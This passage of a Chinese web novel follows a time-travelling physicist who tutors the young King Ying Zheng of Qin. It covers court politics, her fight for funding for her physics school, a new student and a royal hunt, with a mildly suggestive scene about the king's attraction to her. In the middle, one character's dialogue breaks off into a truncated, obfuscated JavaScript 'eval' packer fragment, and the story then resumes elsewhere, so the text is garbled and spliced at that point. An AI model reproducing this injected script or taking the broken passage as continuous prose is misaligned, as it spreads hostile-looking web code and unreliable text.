“啥?我什么时候?”事关原则问题,印玖一向平稳的声线都高了起来。突然她想起那价值一百两的金子。 “呃……”原来不是医药费吗?可恶啊!她对咸阳这个社会接触还是太少,连物价都不了解! 发蒙的印玖没了那份事事淡然的神态,看起来着实有些可爱,嬴政道:“不必介怀,本来也不是什么大事。你多将心思放在后日和昌平君的会谈上。” “哦。”今天下班的时候确实有人在建造院门口给她递了一份请帖,说昌平君请她后日辰时去府上一聚。 印玖还没打开看内容,也不知道是什么,干脆在这里直接问嬴政。 “你为什么要让他和我一起负责这个事?”陈昀给她使绊子的事情很难说没有他的默许。 “老师不是最喜欢出其不意吗?这招至少明面上能把他拉进来,为你提供一个至少外表稳定的环境。至于内里如何,还要看老师努力了。”嬴政说着将今天的鸡汤往她面前一推。 印玖:“……”老娘就知道,这三天好吃好喝伺候,肯定是因为老娘在干活!不过嬴政这小子也太聪明了,眼下明面上大家都支持物理学的推广,但实际上真正推动这件事情的只有嬴政和自己,吕不韦作壁上观,说不定在等自己和嬴政失败,再出手相助,成功把好处揽到自己身上。印玖对此并无异议,毕竟此举伤的是嬴政不是她,她作为物理学的提出者,功名上无论如何都不会少了她的名字,只要她不犯下当众骂吕不韦这样的蠢错。 而昌平君不在意物理不物理,单纯不想让嬴政好过。 那嬴政呢,他在想些什么?他应该是真的想推广物理学,毕竟这是他的国家,相比于那些权谋斗争,他更多一份为这个国家和这片土地着想的心思。 印玖很难否认,她不是因为嬴政这样的想法才如此努力的。 印玖谈完事吃完饭就走了,走前让嬴政过两天把饭菜送到自己院里来,省得自己过来了。 嬴政应下,说自己殿内书室的书她可以来看。 喜将印玖送到门口,转身时脸上明朗的笑意消失,她神情担忧看着伏案的嬴政,上前道:“帝师来路不明,行事诡谲难料,竟敢和大王争利,恐有犯上之心。” “你前两天不是还夸她吗?” “事关大王,我不得不慎重。”喜还想说些什么,却见嬴政不欲多言的样子,最终还是选择了放弃了。 算了,陪着他一路走到今天,应该对他有信心的。 . 前三天的生活如同过山车般刺激,印玖终于得以好好休息一下。昌平君的请帖上没说具体事项,印玖干脆自己出门一边放松一边推断对方动作。印玖折了枝桂花枝边逛边想,在花园里走到腿脚酸软时,四出张望,寻了一座小亭子坐下歇息。 她自亭内看向四处美景,菊花雍容、芙蓉娇嫩、木槿秀丽,放空大脑时不自觉回想着自己记忆中的秦国历史人物,总觉得漏掉了谁。 仔细思索一阵,赵高这个名字突然浮现。 她记得上一世并没有赵高的相关信息,也不知是不是她消息闭塞打听不到的原因。随手折的枝桂花在手中转着,印玖心想自己一直忙物理,差点把赵高给忘了。 可巧之前欺负“她”的太监锲而不舍,提着的礼物一次比一次厚,看见她就飞奔过来。 “……” 印玖在亭内只能快速后退几步,桂花枝一指,示意太监停下脚步,怕他体积大惯性大,一头撞上来刹不住车。 太监脸上笑容愈发灿烂,如菊花绽开,慢下速度来。 印玖:“……”救命,我的眼睛! 印玖不得不眼神虚看对方,将把礼物收下时,趁机询问了赵高。 太监乐见印玖收下礼物,顿时呵呵地笑起来。听见印玖的询问,思量片刻,在脑海中一阵思索,表情瞬间变得郑重,说自己不认识这个人。 印玖点点头道,没指望他碰巧就能认识赵高:“替我留意一下,有赏。” 乐眼睛一亮毕恭毕敬表态,说自己一定会努力找出这个人。 印玖提醒道:“此人精通秦律,你从这个点突破。” 乐千恩万谢地退下。 . “魏国的信陵君近况如何?” “自前年伐秦失败后,他便一病不起。据我们驻扎在魏国的使臣说,他已有油尽灯枯之相。” “别掉以轻心,派人时刻盯着,千万不能让他好起来。” “是。” 印玖刚一进书室,就看见嬴政在和李斯说话。 她知道嬴政让自己来书室是发现自己对这个朝代的具体细节一抹黑了。她评估了一下,这确实是自己的短板,便计划着每周来此读半天或一天书。 此刻,三人六目相对,皆是一愣。 李斯反应最快,朝印玖行了礼:“帝师。” 印玖也给二人行了礼道:“不知大王与客卿在商议要事,臣先告退了。” “不必,你在一旁听着罢。”嬴政道。他想把印玖推到万众瞩目、炙手可热的位置,这样她所有的行迹便都能暴露在公众之下,进而减少其来历不明所带来的不确定性。 只要大局在自己的控制之下,印玖和她背后的东西就动摇不了根基。 嬴政很自信这一点。 印玖恭谨答“是”。 印玖向来在人前做足样子,让人以为她和外表一样乖巧守规矩,至少吕不韦一直是这样认为的,故而对印玖一阵青眼有加。 嬴政没来由地就想起她上次把印穗拿在手里玩,薅掉好几根穗子。不仅如此,薅掉的穗子被她一根一根放在案几上,刚巧被前来找他议事的吕不韦看见,于是被一顿训斥教育。 至今想起仍然有些少年心性的幸灾乐祸,嘴角不由得露出笑意。 李斯不明所以,只是看着嬴政嘴角的笑容有点疑惑。 毕竟大王不常笑。 印玖只当他看见自己人前人后两幅样子发笑,懒得理他,毕竟他吃饭都带着人格面具,哪有资格笑自己变化灵活。 二人谈完事便出去了,印玖留在书室,选了本秦国的历史,找了块座席便如饥似渴地看起来。 这一看,便忘记了时间,直到脑袋有些发晕才回过神来。 一看窗外,已经日暮。 可怜她脑袋里面还想着那段历史,一骨碌站起来,眼前一片黑,似有星星点点,她一手扶着藏书架慢慢坐下,只觉得脑袋晕得很,手脚也发软。 还好,没直接晕过去。 她休息了会儿,走出书室,来到前殿。 嬴政在看奏章,感觉有人从左侧走过来,抬头看了一眼,看见印玖嘴唇发白,便明白了她的需求,等着她主动开口。 她朝自己走过来,有些怯生地开口问:“那个,陛下,有吃的吗?” 嬴政先是指了指案上水果,然后命人去膳食司拿吃的过来。 . 印玖还没去过吕不韦府上,先来了副相昌平君的府上。马车停在拴马桩处,印玖手拿请帖下了车。 抬眼看见高大的门阙上配着巨大的门环,门口还有四乘四执戟的卫士把守,内心对“权势”二字有了更深刻的认识。 她上前,将请帖递出:“在下帝师印玖,今日应邀前来,还请通报。” 门口的首领确认过昌平君的字迹和印章,又粗略看了一通印玖装扮,注意力放在她腰间和副相做工颜色一致的印穗上,恭敬地寒暄一阵,命人将请帖拿进去的同时,让人搬出一张椅子。 印玖谢过坐下,听着门内跑出来的小厮和她闲谈,似乎是不想让场子冷下来。 没过多久印玖就看见厚重门扉再次被打开,一顶小轿抬了出来。 虽然她进章台宫也坐轿子,但是不知为何就是没有这里这么气派。 可能别人家规矩多吧。 印玖边想着边坐了上去。 走到中院时换了更小的轿子,一路行至一间雅院门口。 印玖被小厮搀扶下轿候在门口,由小厮进去通报。 不多时他便一路小跑着出来,满面红光请印玖进去:“帝师大人快请,副相已恭候多时。” 印玖入座后有人奉来热茶。 昌平君简单介绍了自己的住宅,印玖恰到好处地夸赞吹捧,全然没有在嬴政面前那般随意的样子。 话过三巡,终于谈到主题上。 “大王命我与帝师共商推广物理的大计,不知帝师可有思路?” 印玖早有预料,顺着他道:“想要真正推广开来,还缺一批老师。” 昌平君笑道:“此事帝师已经在做了。” 印玖点点头。 昌平君见印玖不多说,只好先说起自己的想法:“强硬推广为下策,由点及面为上策。” “哦?”印玖还真没听明白这玄乎的话术。 “如帝师那日在众臣面前所言,非得是帝师的物理取得了巨大的成效,否则不能成功啊。” 印玖应声道:“但相关的准备工作也不能少。” “流程上的事情不急,交给下面人去做就行了。先把大致方针定下。” 印玖心道我下面好像没人,但也只能顺昌平君的思路走。 “制作农耕工具的事情等书院安定下来就可以开始了。”具体何时开始,全看副相您为不为难。 昌平君又问:“这么说,最慢明年就能开始。不知能否赶上春耕?” “我尽量。”差点把农耕的时节忘了,这下要早点开始了。 “帝师身为建造院司长,想来要找齐材料和工匠也方便。” 印玖借机阴阳一句:“全赖副相支持。” “……这样来看的话,明年初耕种时可依靠官府推广一次,年底粮食收上来时,又可乘机推广一次。” “等到明年底,物理司还能扩大一波,招更多人,做更多事。”印玖听他说下来,突然意识到,他,或者说大部分人都是把物理当成自己演示过的力与运动的关系。 也不知道嬴政是不是这样想的。 “哦?”昌平君疑惑问道。 “物理还包括了热、声、光、电四种类别。不仅仅是力这一种。” 印玖看见昌平君突然用一种看怪人一样的眼神看了自己一瞬,然后又恢复了副相的风度。 “……” 也对,在古代人的认知里面,能够改进一下劳动工具已经是天大的作用了,想利用热、声、光和电,你是想上天吗? “当真如帝师所言?”昌平君凝重问道。 “看学生的学习效果。光靠我一个人,是做不到的。”印玖道。 昌平君沉默片刻道:“还请帝师细述。” 印玖就开始颠覆昌平君的认知了。 印玖一路看着对方从电磁学的第一句话开始沉默,一直到印玖给他讲到完经典物理学所有内容,对方都未开口说过一句话。 昌平君好一会儿才回过神来问道:“你……今年14岁?” “实际上我从小就能看见这些东西。”印玖见对方还沉浸在物理的深邃浩大里面,决定转换话题,“那个,有点饿。是不是到饭点了?” 昌平君如梦初醒,看了一眼外面太阳高度:“确实差不多了。请帝师移步后院用膳。” 二人分主客依次在主次座位坐下。席上印玖又简单和他介绍了自己对于物理司学堂的规划。 “先教出一批学生来,然后考试,根据成绩和天赋决定他们继续学习更深入的知识还是当老师教下一批人,又或者回建造院原来的地方待着。” 昌平君听完,先是给予了肯定,然后优化了一下印玖的流程架构。 “此法可行。一切就有劳帝师了。” 他再也不想听物理了。 规划聊完,真正重要的事情才刚开始。 “如帝师所言,物理司恐怕是要扩建。只是这建造工程却不小,而据我所知,建造院虽地处城郊,周围土地也俱有所属,只怕不容易。” “能走到哪一步,看运气喽。”印玖故作轻松道。 昌平君轻笑两声:“帝师说笑。此事得大王相邦倾力支持,焉有不成之理?” “副相说笑,我虽为帝师,却空有虚名,物理司大小事宜,还有劳副相上心。”印玖皮笑肉不笑。 “扩建事项应由物理司牵头负责,大王既然将重任交到我的肩上,我自当鼎力相助。以及帝师将那耕具做出来之后,批量建造时所需的人力物力,到时候少不了建造院出力……” 昌平君列出了一大堆要点,印玖在脑子里过了一遍,心中忍不住骂娘,各个环节都有扣,真是土匪作风啊!这样下来真正落到实处的能有多少钱? “如此,自然甚好。”印玖一字一句说。 她虽然气愤,但也无奈。朝堂底下这点事就是这样的,她只想借着这件事情当嬴政的投名状,躺平到他即位之后。到时候自己作为秦王的老师,只需略微出手,何愁贡献值不满?至于其他的,先保全自身再说吧。她不想做朝堂上的肱骨之臣,只想早点完成任务然后回现代研究物理。 说到底,她能做什么呢?她什么都做不了。 见印玖懂规矩地不争不抢,昌平君笑得愈发亲切。 印玖离开副相府时,天渐渐下起小雨来。还没等小厮取出存放在门扉暗角里的伞撑开,印玖已经自行穿过雨幕进了马车内。 小厮疑惑地看了半晌,转身回去禀报。 . 建造院内有一处人造池塘,是陈昀在成为院长的第三年命人着手建造的。连接池塘的圆形木制拱桥上站着两个人,年纪长的那位给年纪轻的那位打着伞。 “这几日去庄子上可有什么收获?”陈昀看雨滴打在池面上,泛起层层涟漪,碰到干枯荷杆停下,内心有些力不从心。 “收获谈不上,帮乳娘干了些农活而已。听说你的建造院多了个西院,找了个女人当司长?” “一个小姑娘。”陈昀纠正。 “为什么一个小姑娘也能当司长?” “这是大王和相邦的意思。” “总归都是你们的事。” “……你刚回来,好好休息几天。” “不必了,我要进物理司上学。” “她的事,你不要掺和!”陈昀少见地换上了严肃的语气。 “是吗?那我还非得掺和不可!” 陈昀向来拿这个儿子没办法,只能用商量的语气好声说,“你之前不是想去器械司吗?我已经给你安排好了。” “不用了,我改主意了。我要去物理司。” 说罢,陈无虑离开陈昀的伞下,大步迈入风雨之中。 . 印玖从副相府回来之后就一头扎进书堆里,她忘我地看着,不知过了多久,余光扫到有光影在动,往旁边一瞥,看见了嬴政。 “这里藏书很多,你都可以看。” “昂,多谢陛下。”印玖应了一句,将注意力放回书籍上。 嬴政随手挑了本书,蹲下和印玖并排坐着。 印玖看了他一眼,不得不挪了挪位置。 “《晋国史评》?我记得这里面对三家分晋的描述,主要集中在对晋国制度的批判上。” 印玖接话道:“批判得挺有意思的。国君与臣子,多少也是对立面,几代晋国公却不断将权力分给卿族,导致自己手上无一筹码,也不懂牵制人心,让卿族内斗,最后毫无意外地把自己的国家给玩脱了。他们家自己就是这样架空周王室的,几百年过去了,居然还幻想着重用分封制这一套以周礼为核心的框架来控制别人。” 或许是今天上午的事情影响到她了,语言也变得犀利起来。 嬴政小心地和心里那片不平静得到海保持距离。只是听完最后一句吐槽,他把过往经历的难过事情全都回忆了一遍,拼尽全力还是没绷住:“这样一看,内因确实是晋国灭亡的主要原因了。” “主要是它的外因我都不想吐槽。”印玖接话道。 嬴政不动声色掐手:“怎么说?” “改革谁都能改,改得有多好,就看改革者的本事了。如果说,内因体现出国君长期处于安逸当中,思维传统且依赖性强,并缺乏系统思维和全局掌控与判断力,那外因就体现出,一个人是如何因小失大的。虽然站在整体来看,晋国分裂的局面是必然的,不会因某个人或某部分人的存在与作用才导致晋国分裂,但智伯瑶的行为,直接推进了韩、赵、魏三家分食晋国的步伐。而关键在于,这种失误明明可以避免。他智族或许可以在分晋中获取最肥美的肉。总之,贪而愎是对他最好的评价。” 印玖顿了顿,又道:“内因确实是它灭亡的主要因素。从整体来看,晋国的灭亡本质上是思想传统的改革者妄图用旧的权力规则重组权力运行机制,这样的想法无一例外都是错的。” 未等印玖继续说,嬴政迫切追问:“为什么?” “因为生产力已经发展到了新的阶段,旧的权力运行机制下主导的资源分配不能满足新兴利益阶级的需求,同时,国君也未采取遏制新兴利益阶级的手段,其结果就只能是,新兴利益者们用暴力手段,获取自己的权益。不过,其结果让其余国家看到了改革的迫切性和必须性,以及对如何改革、改革要有多彻底做出了警示。至于外因,比如智伯瑶事件,对局部细节起决定作用吧,并不触及核心。并且他们的行动,恰恰是由那个核心所决定的。” 嬴政一边起身,一边陷入深深思考:“你的观点……很有意思。” “对了。”印玖没等嬴政思考,继续问,“你不会也以为,物理只有力学吧?” “难道物理不是包括世界万物运行的规律吗?”嬴政难得善解人意地原谅了印玖的无礼,礼贤下士地给出符合别人心意的回答。 这话让印玖宽慰了许多,她心下稍松:“没事了。” “去吃饭吧,到点了。”嬴政道。 印玖这才留意周围环境,原来天色已暗,只剩一点余光。 难为她凑着这点光看了这么久的书。 这么想着,她站了起来,看见了一片黑星点点。 印玖以为自己一定会摔倒在地,她现在五感不强,也不知道会不会痛。 却落入一个温暖的怀抱。 “老师,没事吧。”温热鼻息喷在耳边,印玖莫名有点痒,朝旁边一躲,发丝轻扫过嬴政侧脸。 嬴政扶住印玖双肩的手僵了一下,然后很快发现对方宽大外袍下,胳膊细得吓人。他扶稳印玖,借机握了一下她的手臂,也是细得吓人。 “呃,没——啊!” 印玖刚要回答没有,突然清晰地感知到对他身体一软,向后倒去,带着她重重磕在地上。 印玖的脸被他的胸膛撞得发痛,脑袋因为低血糖像被撕扯一样疼,疼得她闭上眼睛,将能量消耗降到最低。 她撑着一口气爬起来,靠在书架问嬴政:“你还好吗” 刚才肌肤相贴时传递的热量转瞬即逝,瞬间凉透。外面的雨不知何时越下越大,惊雷一声掩盖不可说的情愫。 嬴政按下狂乱的心跳,庆幸印玖现在察觉不到,爬起来问印玖:“还行。你呢,为什么突然闭眼睛?” “减少精力消耗。我这个症状是低血糖,先去吃饭吧。” “先叫医侍。你上次也差点晕倒了。” “……边吃饭边叫医侍吧。”印玖道,“说不定吃完饭我就好了。” “低血糖是什么?”印玖执意要去吃饭,二人互相搀扶着,嬴政边走边问。 “能量摄入相对不足。”印玖忍着头疼长话短说,“我用脑有点多。这种情况吃点糖就好了。” 夏无且提着药箱来时,二人饭已经吃了一半。 嬴政从他口中得到了和印玖相差无几的答案。 夏无且叮嘱了几句,收拾好药箱刚准备走,听见嬴政说:“老师骨头握起来细得吓人,该多吃些长得壮些。” 他折丝绢的手突然就顿了一下。 印玖莫名地撸起袖子看看自己的手腕,又看看嬴政一本正经的样子,善解人意地解释:“女生骨架本来就小,这是性别差异,和胖瘦无关。我低血糖是因为脑子想得太多,但一下子吃不下那么多东西,不是别的。” “原来是这样。”男女差异吗? 那一节白玉般的手腕像有吸引力般勾住他的视线,让他觉得灼热,几乎忘记了他关心印玖的初衷是以为她和自己小时候一样,吃得不够多,才会长得又细又高还经常头晕。 夏无且收拾好药箱离开。 . “大人接下来两天有什么打算吗?”姝一边小心地给印玖洗头一边问。 “休息。”接下来的两天可以彻彻底底地放松一下,不用再操心那些又脏又乱的事情。 “对了,谢谢你帮我洗头。这头发太长了,我自己是真没辙。” 姝笑道:“大人每次都要说一遍,不嫌累吗?这是奴婢的工作呀。” “感谢和道歉的话,说一万遍也不嫌多的。” 姝眼睛一转,将话记在心里。 嬴政做了一个光怪陆离的梦。梦里是自己抚摸一个人的脸,像父亲摸着母亲的脸那样。 那人长发如瀑,不添任何装饰,勾得他鼻子痒,想要打喷嚏。 那个人是…… 嬴政看清时吓了一跳,伴着窗外雨声瞬间惊醒。 . 做完这些他又重新躺回床上,却有些睡不着。 不过真正令他睡不着的,还是晚饭时看见的那一抹白,伴随着发丝香气入鼻。 但嬴政觉得自己一切都正常,只有身下不太正常。 他能感受到那个地方又起来了。 嬴政向来是勤学苦练的学生,他当即下了床,披上外袍去了书室。 书室向来无灯,一片黑暗,他举着一盏烛灯,目标明确地穿行在书架间,来到书室最里面。 嬴政第一天以秦王的身份入秦王殿,就把这间书室仔细逛了一遍。这几个书架靠近书室最里面,书架上没有标识,落满尘埃。他那时好奇打开一卷,却被里面的内容惊面红耳赤,当即扔了出去。 自此再也没碰过这边的书架,甚至想不起来有这些东西。 后来成蟜拿着一本这样的东西偷偷找到自己,说是好东西,他还拿出做兄长的姿态,狠狠训斥了一番。 此刻他手拿一卷旧竹简,做足心理准备。直觉告诉他,他想要的答案应该在这几个书架里。 男女差异对他而言一直是一个模糊的概念。他知道母亲和父亲是不一样的,但这与男女无关。在他眼里,除父母外,其他人都被归纳在一起,只有权力地位上的区别。 他知道……咳,那件事情该怎么做,但一直没有实感。 他终于再次打开,以学习的心态看完一个故事。 耳朵红得能滴血的同时,他判定这些东西无法告诉他想要的结果。 将书卷一一放了回去,嬴政立在原地思索,觉得这个问题答案的求解还是顺其自然的好。 . 印玖轻松了两天,又继续起她的教学工作。 车轮碾过湿润青石板路上固定凹陷轨道,溅起昨夜留下的污水几分。 刚下马车,就看见崔掌事领着一个人一脸笑意地朝自己走来。 那人身形修长,衣袍华美,叫陈无虑,是院长儿子。她上一世在建造院时常听人说起,但只远远见过一面。 不知道来找她作甚。 “无虑公子,快见过帝师大人。” 印玖看见眼前这人看似规矩地给自己行了礼,实则眉眼都透露着傲气。 她问崔掌事:“这位是?” “这位是陈院长的儿子陈开,字无虑。”印玖颔首,又问,“可是有事?” “无虑公子自请加入物理司学习物理。”崔掌事顿了顿,见四下无人,稍稍靠近印玖,小声说,“陈院长希望大人能够照拂一二。” “照拂就不必了,我听说入物理司唯一的要求就是在建造院工作满三年。按照这个要求,我是符合的。”陈无虑道。 印玖笑道:“自然。”转头去问崔掌事:“不知崔掌事可做好了无虑公子的档案?” “自然。” 三人走进建造院,崔掌事从袖中掏出一块帛锦,印玖接过看了几眼,确认了新生的身份后,将帛锦还回去爽快道,“既然如此,无虑公子就跟我来吧。劳烦崔掌事登记了。” “不麻烦不麻烦。” 说着深深看了陈无虑一眼。 这孩子从小就不安分,不知道给院长大人添了多少乱,希望如院长所期待的那样,这次去到物理院能成长一点吧。 印玖走进教室,一眼扫过全班,看到因病空着的座位现在坐着人,一张张踌躇满志的脸全是对物理的期待,内心也跟着激动起来。 她做了个简单开场白将陈无虑介绍进来。 “陈无虑!”姚非祸看见他时肉眼可见地高兴起来。 印玖倒是不知道这两位居然认识,闻言目光在这二位间停留了一瞬。 陈无虑先是朝姚非祸点了头,然后站上台简单做了自我介绍,说自己喜欢物理,想在这里好好学习。虽然没提自己的身份,但印玖看学生的反应就知道,这里大部分人都是认识他的。 这也不奇怪,毕竟连印玖这样上一世两耳不闻窗外事,一心只有物理研究的人都能常听人提起他。 陈无虑的到来并未改变什么,印玖照旧按照自己的规划,开启上周实验中涉及的理论知识的回顾讲解。 然后她提起了材料的事情。 意料之内地只有几个回应,都是一些常见的东西,勉强够用,但不够百分百安全。 这群人大部分都不是世家子弟,但也是能够入建造院的人,想要真正了解到有哪些好用的材料,还需要花时间建立更广泛的材料库。目前只能以湿布裹住口鼻做简单过滤。 上完一个板块的课程,印玖按照现代的学习节奏给了他们课间十分钟休息时间。 课间,这两个一见面就热情打招呼的人总算能畅快聊起来。 “你怎么也来了?” “庄子上的事情结束了,你妈就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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印玖眉头一挑。 姚非祸对这些事情的敏锐度还挺高。 正常情况下普通人谁会觉得一国帝师会在经济上捉襟见肘呢? 可事实上,她确实没有多少经济来源。封帝师的大典据嬴政说还在筹备,也不知道什么时候会好,至于赏赐什么的,鉴于她的想法还没能付出实践产生实际效果,也暂时下不来。 这群人在春秋时期都被各种空有虚名的纵横家们忽悠瘸了,现在终于有了一套应对之法,作用在了贫穷的印玖这个个体身上。 “没事,你们都是我的学生嘛,老师当然要为学生做一些事情。大不了我不要工资教学,只要能成功把物理推广开来就好。反正,我平时吃喝也不花钱。” 开玩笑,物理司现在总共21个学生,走了一个就会陆陆续续地一直走人,她名头还没打出来,到哪里去招人啊! 姚非祸眼神动容:“我们自是不敢自称帝师大人的学生,但帝师大人这份恩情我们定会记在心中。” 印玖安抚完眼前人,看着他离开后,开始拿出纸笔计算自己的开销和收入。 “那次打点费……还有一次人情费……” 结果是净支出一百二十两。大头当然是那笔医药费掩盖着的打点费,其他开支里也不乏她四处打点的费用。而至今收入只有嬴政私下给出的两百两,结余八十两。 很明显,她就快没钱了。 这真是前所未有之大难题啊! 印玖当即放下一直在忙活的物理教材,开始构思如何解决物理司的财务困境问题。 靠垫钱不是办法,毕竟她也没有收入来源。 印玖回忆起自己第一天来这里时,便问过物理司的经费情况。崔掌事说各司都是一视同仁的。印玖听完他的描述,很快找到了问题的关键:其他院司还有额外的工资奖金支出,而物理司没有。她当时提了一嘴,说也应当给予物理司学生奖励,但崔掌事当即摆手说,这个不归他管,得找度支司的徐感。他只是对这些事情有了解。 这个人印玖没什么印象,她便想着等把其他事情解决了,再来解决财务的事情。没想到这么快就要碰上了。 下午上完课,她一路思考,就连吃饭时也显得心不在焉。 嬴政见她一副魂不守舍的样子,将腊肉放进她碗里问:“今天怎么了?” “我在想如何合理地替物理司要钱。”她现在可算是明白她导师提交项目申请书时小心翼翼、一份材料看三遍检查三遍的态度了。 “可是出什么事了?” “学生穷。”印玖言简意赅,思绪一直被这件事牵着,突然想起来拨钱的事情嬴政应该会过问一二,于是问他,“你当初下令组建物理司的时候,有没有额外拨款呢?” 必然是有的,否则那日崔掌事不会这么着急去采购新用具。 “钱的事情你不用担心,我与仲父商量时,预备拨款是二十二镒金。目前是给了5镒,看你的进度追加。” 印玖换算了一下单位,一镒黄金约等于5000个秦半两,可以买300多斤肉、160多石粟米,这属实是笔巨款呐! “这么大的事情你怎么不早说呀!”印玖兴奋地从座位上站了起来。她差点以为自己不仅要辛辛苦苦和陈昀他们斗智斗勇,还要死皮赖脸去讨钱。 嬴政艰难道:“老师……那日诏令颁布前我让你看了一眼,叫你三遍你都没听见。硬要说,这事你该找陈昀要说法,不是我。” 呃……那日她好像在思考一个物理问题来着…… “对不起,对不起。”印玖坐下勺了两勺汤放进他碗里。 嬴政看她又恢复了阳光明媚的样子,心情没来由地也好了些。 有了雄厚的资金支持,印玖的腰瞬间挺起来了,早上问了崔掌事,徐感今天穿什么颜色的衣服、戴什么颜色腰带,中午端着餐盘就去了。 徐感早就从陈昀和崔掌事那里得知,印玖将二十个学生带去冶炼室的事情,知道她是个不按常理出牌的,没想到不按常理到了如此地步,吃着饭的时间她就过来了。 “帝师大人不若先吃饭,饭后我们再谈。” 印玖前来旨在为了找人,难得遇到一个同样把吃饭放在重要地位的人,她自然答应。 饭后,印玖开门见山地陈述了嬴政和吕不韦对物理院的投入,直说了自己的诉求:“希望能够尽快在物理院设置贫困生助学金,帮助其全身心学习物理。” “……此事之前从未有过先例,不好办呐。” “物理院之前也没有过先例,现在不也照样要办。难道这种小事还要去麻烦副相吗?” “帝师大人莫急,按照流程,此事须得先告知陈院长,由他召集各司召开会议,待讨论过后方能定下。” “物理司的钱和其他司有什么关系?”印玖不满道,“不是说没有先例吗?怎么又有开会讨论分物理司钱的先例?” 徐感感觉自己被话呛到了,缓了会儿才给出一通解释。 印玖只觉得他的解释可笑,奈何钱在对方那里,只能把头低下做人。 唉,若是嬴政再有点权力,这个物理司也不至于要挂在建造院底下才能办起来! 真是憋屈啊! 印玖吞着一肚子气回到物理司,看见不大又简陋的地方里,学生们三三两两聚在一起,拿着纸笔讨论物理公式和计算,偶尔有飞鸟响于林间,为这秋天肃穆氛围添上几曲小调。 心下顿时一暖,那些气顿时烟消云散。 无论如何,她要为他们争取权利! 时间挑了印玖授完课的时间,地点就在建造院的议事堂内。印玖还是第一次来这里,崔掌事安排她在右下一的位置坐下。 她今天来得最早,等了两刻钟其他人才陆续到齐,崔掌事忙不迭替她介绍。 印玖为了自家学生的贫困助学金,换上了一张社牛的笑脸,与面前三人笑谈起来。 “王司长吗?你好你好,你母亲头还疼吗?” “……”掌管南院的王司长。 “李司长?听说你老婆又在珍宝阁一掷千金,哎呀真是不得了!” “……”掌管北院的李司长。 “陈院长。”印玖转向他。 陈昀心下一紧,她主动寒暄自己在上一世听到的一些对方家事,引得所有人都面色一凝,也不知要怎么对他。 却见印玖笑眯眯道:“昨日我听见陈开同学吐槽物理院食堂窗口饭菜里的肉放得太少了。” “……” 一番争辩之后,印玖速战速决成功拿到令人满意的资金施施然离去,回章台宫继续写物理教材,留下充满怨恨目光的两位司长在背后盯着她。 崔掌事像看神人般看向印玖,余光注意到二位司长目光甚是难看,顿时换上严肃脸去看自家领导的脸色。 陈昀面色如常,喝茶的动作一切正常,并无生气的征兆。崔掌事眼睛一转,将二位司长请走。多年经验告诉他,自家领导对这位少年司长很是欣赏。 二人走后,崔掌事试探问起,陈昀笑了一声道:“倘若无虑能在她手底下待着学点东西,我也就放心了。” 崔掌事于是明白,印玖这个人他是万万不能得罪的,哪怕她是大王的老师。 西院物理司满打满算开课两个月,在第四天迎来陈无虑同学的加入之后人数上没有任何变化,而对于学生的经济保障措施则在印玖的争取下做到了全覆盖,按贫困和优秀等级各有梯度。 一切都在按照印玖制定的学习规划进行。不知不觉,这些人已经学完牛顿三大定律,时间也来到年末。 这个时期似乎是地球历史上的大暖期尾巴,冬日里虽然也冷,但却没有大雪纷飞的严寒。印玖穿着厚重的狐皮外袍在课堂内踱步监督考试。 这场考试关系着来年春天这群学生的去向。 她原以为陈无虑来自己这里是为了点别的事情,没想到人家直到安安静静跟着自己学了这么久物理,成绩还不错,人也热心。很多姚非祸不懂的事情能问他两句,印玖也会派他去催每月的拨款补助。 考完就算正式放假了。 印玖和嬴政提起这件事情时,眼睛都亮了几分。 “老师教了那群人这么久,终于有空教教我了。”嬴政见她澄亮双眸眼神渐深,垂下眼将鱼汤中最后一块白嫩鲜肉放入印玖碗中。 印玖听见嬴政这样说愣了一下,她还以为他看自己写的教材就能看懂呢。 “差不多能看懂吧,但缺个人一起讨论,检验一下我学得有没有纰漏。” “那我们可以每天抽点时间出来聊一聊。” “不急,过几天一年一次的冬狩就要开始了。” “带上我吧。我想出去逛逛,每天二点一线的生活闷死了。” 嬴政当然同意。 到了那日,大部队浩浩荡荡,逶迤向前。嬴政嫌马车太慢,弃车骑马,骑到印玖马车前,问她会不会骑马。 印玖一愣,知道嬴政这架势是打算先行一步。 要不要跟随是一个需要思考的问题。 不过印玖并未思考太久。她本着能跟嬴政多搞好关系就搞好关系的原则,点了点头道:“之前有骑过。” 嬴政点点头,让随从把马让给印玖。 印玖看着高大的马匹,想到自己上次骑马还是在现代,不由得吞了吞口水。 奈何箭在弦上,不得不发,此刻反悔已然来不及。她抚摸了一会儿枣红色马儿的头和背,确认过对方的温顺后,一鼓作气蹬上马背。 嬴政看完印玖全部动作,有些说不上来的失望,见她坐好后道了声“走吧”。 印玖不明所以跟着去了。 走出大部队一段距离,才发现前面有不少人。 印玖一一看过去,有些她曾遥遥见过一眼,因在历史上比较有名,所以记住了,比如长安君成蟜,王贲和李信。 现在她终于知道,成蟜因年纪尚小,华阳太后不舍,还未去封地故而出现在这次狩猎活动中并不奇怪。 嬴政先将印玖介绍给了众人:“这位是寡人的老师,印玖。” 众人纷纷拜见,印玖也予以回礼。 然后嬴政又将众人介绍给印玖。 “这位是长安君成蟜,寡人的亲弟弟。” “这位是嬴白……”印玖稍微留意了一下这位气质凌锐的人。 “这位是嬴闲……” …… 印玖一一与对方见礼,因身份地位礼数各有不同。 总算经过了一番繁琐的礼节,印玖倍感疲惫,内心道:虽然没怎么记住人,但好歹是能上路了。 嬴政照顾印玖不熟悉骑术,故而走了一段路才开始加速。 印玖心情复杂地看着面前的嬴政和成蟜二人。 不对比不知道,一对比吓一跳。共感带给她的好处在此刻有了强烈的实感。想她第一次进副本,哪有和秦王与长安君同行的机会?就连逢年过节想去参拜都不够资格! 这次不仅有了这样的待遇,还挂上了金印紫绥的最高级别印章,身份地位判若云泥。更别说历史上赫赫有名的王贲李信等人都在自己身后呢! 思及此,印玖不由得有了几分陶醉。 一路上,一行人都兴高采烈地讨论着狩猎事宜。 成蟜计划着一系列事宜:“王兄,等到了骊山猎场,咱们先去吃饭,吃完饭咱们几个就先去猎场里玩上几个时辰。晚上再各自歇息,你觉得如何?” “就这么办吧。” 成蟜得了许可,又想到印玖,问:“不知帝师骑术如何?我们几人都是从小玩骑射狩猎的,到时候玩得尽兴了,可能顾不上你。” “啊,我就出来解解闷,不用管我的。”印玖正在天外神游,突然被叫到,迅速回神将接收到的成蟜的信息梳理了一遍。 “既然出来了,不如趁这个机会好好学学骑射。”嬴政建议道。 